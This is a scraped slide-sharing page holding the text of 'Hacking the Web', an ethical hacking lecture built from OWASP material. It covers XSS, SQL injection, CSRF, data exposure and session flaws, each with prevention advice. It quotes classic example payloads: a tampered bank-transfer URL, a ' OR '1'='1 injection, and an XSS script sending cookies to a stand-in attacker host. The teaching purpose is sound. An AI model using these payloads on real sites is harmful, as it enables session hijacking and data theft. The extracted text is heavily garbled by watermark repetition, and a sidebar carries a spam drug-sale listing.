Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FMESafe Software
 
Rising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdf
Rising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdfRising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdf
Rising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdfOrbitshub
 
Vector Search -An Introduction in Oracle Database 23ai.pptx
Vector Search -An Introduction in Oracle Database 23ai.pptxVector Search -An Introduction in Oracle Database 23ai.pptx
Vector Search -An Introduction in Oracle Database 23ai.pptxRemote DBA Services
 
ICT role in 21st century education and its challenges
ICT role in 21st century education and its challengesICT role in 21st century education and its challenges
ICT role in 21st century education and its challengesrafiqahmad00786416
 
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...apidays
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FMESafe Software
 
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...apidays
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...apidays
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...Zilliz
 

Recently uploaded (20)

MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024
 
Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Finding Java's Hidden Performance Traps @ DevoxxUK 2024Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Finding Java's Hidden Performance Traps @ DevoxxUK 2024
 
Introduction to Multilingual Retrieval Augmented Generation (RAG)
Introduction to Multilingual Retrieval Augmented Generation (RAG)Introduction to Multilingual Retrieval Augmented Generation (RAG)
Introduction to Multilingual Retrieval Augmented Generation (RAG)
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
 
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
 
CNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In PakistanCNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In Pakistan
 
Artificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyArtificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : Uncertainty
 
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 
Rising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdf
Rising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdfRising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdf
Rising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdf
 
Vector Search -An Introduction in Oracle Database 23ai.pptx
Vector Search -An Introduction in Oracle Database 23ai.pptxVector Search -An Introduction in Oracle Database 23ai.pptx
Vector Search -An Introduction in Oracle Database 23ai.pptx
 
ICT role in 21st century education and its challenges
ICT role in 21st century education and its challengesICT role in 21st century education and its challenges
ICT role in 21st century education and its challenges
 
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
Understanding the FAA Part 107 License ..
Understanding the FAA Part 107 License ..Understanding the FAA Part 107 License ..
Understanding the FAA Part 107 License ..
 

Hacking the Web

  • 1. HACKING THE WEB CONTENT LOVINGLY RIPPED FROM OWASP.ORG
  • 2. CROSS SITE SCRIPTINGL HACKING RGU ETH GU ETHICAL HACKING RGU ETHICAL HACKIN SQL INJECTIONHACKING RGU ETHICAL HACK NGRGU ETHICAL HACKINGRGU ETHICAL HAC COOKIE EDITINGACKING RGU ETHICAL HACK RGU ETHICAL HACKINGRGU ETHICAL HACKI CROSS SITE REQUEST FORGERYL HACKING CKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHIC SENSITIVE DATA EXPOSURE RGU ETHICAING
  • 3. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING L HACKING RGU ETH GU ETHICAL HACKING RGU ETHICAL HACKIN HACKING RGU ETHICAL HACK NGRGU ETHICAL HACKINGRGU ETHICAL HAC ACKING RGU ETHICAL HACK RGU ETHICAL HACKINGRGU ETHICAL HACKI L HACKING CKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHIC RGU ETHICAING
  • 4. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E ATTACK ATTACK ATTACK WEAKNESS WEAKNESS WEAKNESS WEAKNESS CONTROL CONTROL ASSETS FUNCTIONS Threat
 Agents Attack
 Vectors Security
 Weaknesses Security
 Controls Technical
 Impacts Business
 Impacts ATTACK WEAKNESS CONTROL FUNCTIONS IMPACT IMPACT IMPACTIMPACT
  • 5. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Security
 Controls Technical
 Impacts Business
 Impacts
  • 6. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC DIFFICULT UNCOMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability
  • 7. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC DIFFICULT UNCOMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability
  • 8. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT Considering the threats you plan to protect this data from (e.g., insider attack, external user), make sure you encrypt all sensitive data at rest and in transit in a manner that defends against these threats. Don’t store sensitive data unnecessarily. Discard it as soon as possible. Data you don’t have can’t be stolen. Ensure strong standard algorithms and strong keys are used, and proper key management is in place. Ensure passwords are stored with an algorithm specifically designed for password protection, such as bcrypt, PBKDF2, or scrypt. Disable autocomplete on forms collecting sensitive data and disable caching for pages that contain sensitive data.
  • 9. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC AVERAGE COMMON EASY MODERATE APPLICATION SPECIFIC Prevalence Detectability
  • 10. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC AVERAGE COMMON EASY MODERATE APPLICATION SPECIFIC Prevalence Detectability HTTP://WWW.MYAMAZINGBANK.COM/TRANSFERFUNDS.PHP?FROM=1234&TO=4321&AMOUNT=500 HTTP://WWW.MYAMAZINGBANK.COM/TRANSFERFUNDS.PHP?FROM=1234&TO=666&AMOUNT=5000 VERY EASY ATTACK. SOMETHING LIKE THIS… CAN BE CHANGED TO THIS
  • 11. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT The preferred option is to include the unique token in a hidden field. This causes the value to be sent in the body of the HTTP request, avoiding its inclusion in the URL, which is more prone to exposure. The unique token can also be included in the URL itself, or a URL parameter. However, such placement runs a greater risk that the URL will be exposed to an attacker, thus compromising the secret token. Requiring the user to re-authenticate, or prove they are a user (e.g., via a CAPTCHA) can also protect against CSRF. Easiest fix, when dealing with forms, is to change it from GET to POST
  • 12. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC AVERAGE WIDESPREAD AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability BROKEN AUTHENTICATION AND SESSION MANAGEMENT
  • 13. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT The primary recommendation for an organisation is to make available to developers: A single set of strong authentication and session management controls. Such controls should strive to: 1. meet all the authentication and session management requirements defined in OWASP’s Application Security Verification Standard (ASVS) areas V2 (Authentication) and V3 (Session Management). 2. have a simple interface for developers. Consider the ESAPI Authenticator and User APIs as good examples to emulate, use, or build upon.
  • 14. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC EASY COMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability
  • 15. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC EASY COMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability STRING QUERY = "SELECT * FROM ACCOUNTS WHERE CUSTID='" + REQUEST.GETPARAMETER("ID") + "'"; HTTP://EXAMPLE.COM/APP/ACCOUNTVIEW?ID=' OR '1'='1
  • 16. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC EASY COMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability STRING QUERY = "SELECT * FROM ACCOUNTS WHERE CUSTID='" + REQUEST.GETPARAMETER("ID") + "'"; HTTP://EXAMPLE.COM/APP/ACCOUNTVIEW?ID=' OR '1'='1
  • 17. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT Preventing injection requires keeping untrusted data separate from commands and queries. The preferred option is to use a safe API which avoids the use of the interpreter entirely or provides a parameterised interface. Be careful with APIs, such as stored procedures, that are parameterised, but can still introduce injection under the hood. If a parameterised API is not available, you should carefully escape special characters using the specific escape syntax for that interpreter. OWASP’s ESAPI provides many of these escaping routines.
  • 18. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC AVERAGE VERY WIDESPREAD EASY MODERATE APPLICATION SPECIFIC Prevalence Detectability (STRING) PAGE += "<INPUT NAME='CREDITCARD' TYPE='TEXT' VALUE='" + REQUEST.GETPARAMETER("CC") + "'>"; '><SCRIPT>DOCUMENT.LOCATION= 'HTTP://WWW.ATTACKER.COM/CGI-BIN/COOKIE.CGI ? FOO='+DOCUMENT.COOKIE</SCRIPT>'.
  • 19. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT Preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. Positive or “whitelist” input validation is also recommended as it helps protect against XSS, but is not a complete defense as many applications require special characters in their input. For rich content, consider auto-sanitization libraries like the Java HTML Sanitizer Project. Consider Content Security Policy (CSP) to defend against XSS across your entire site.
  • 20. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING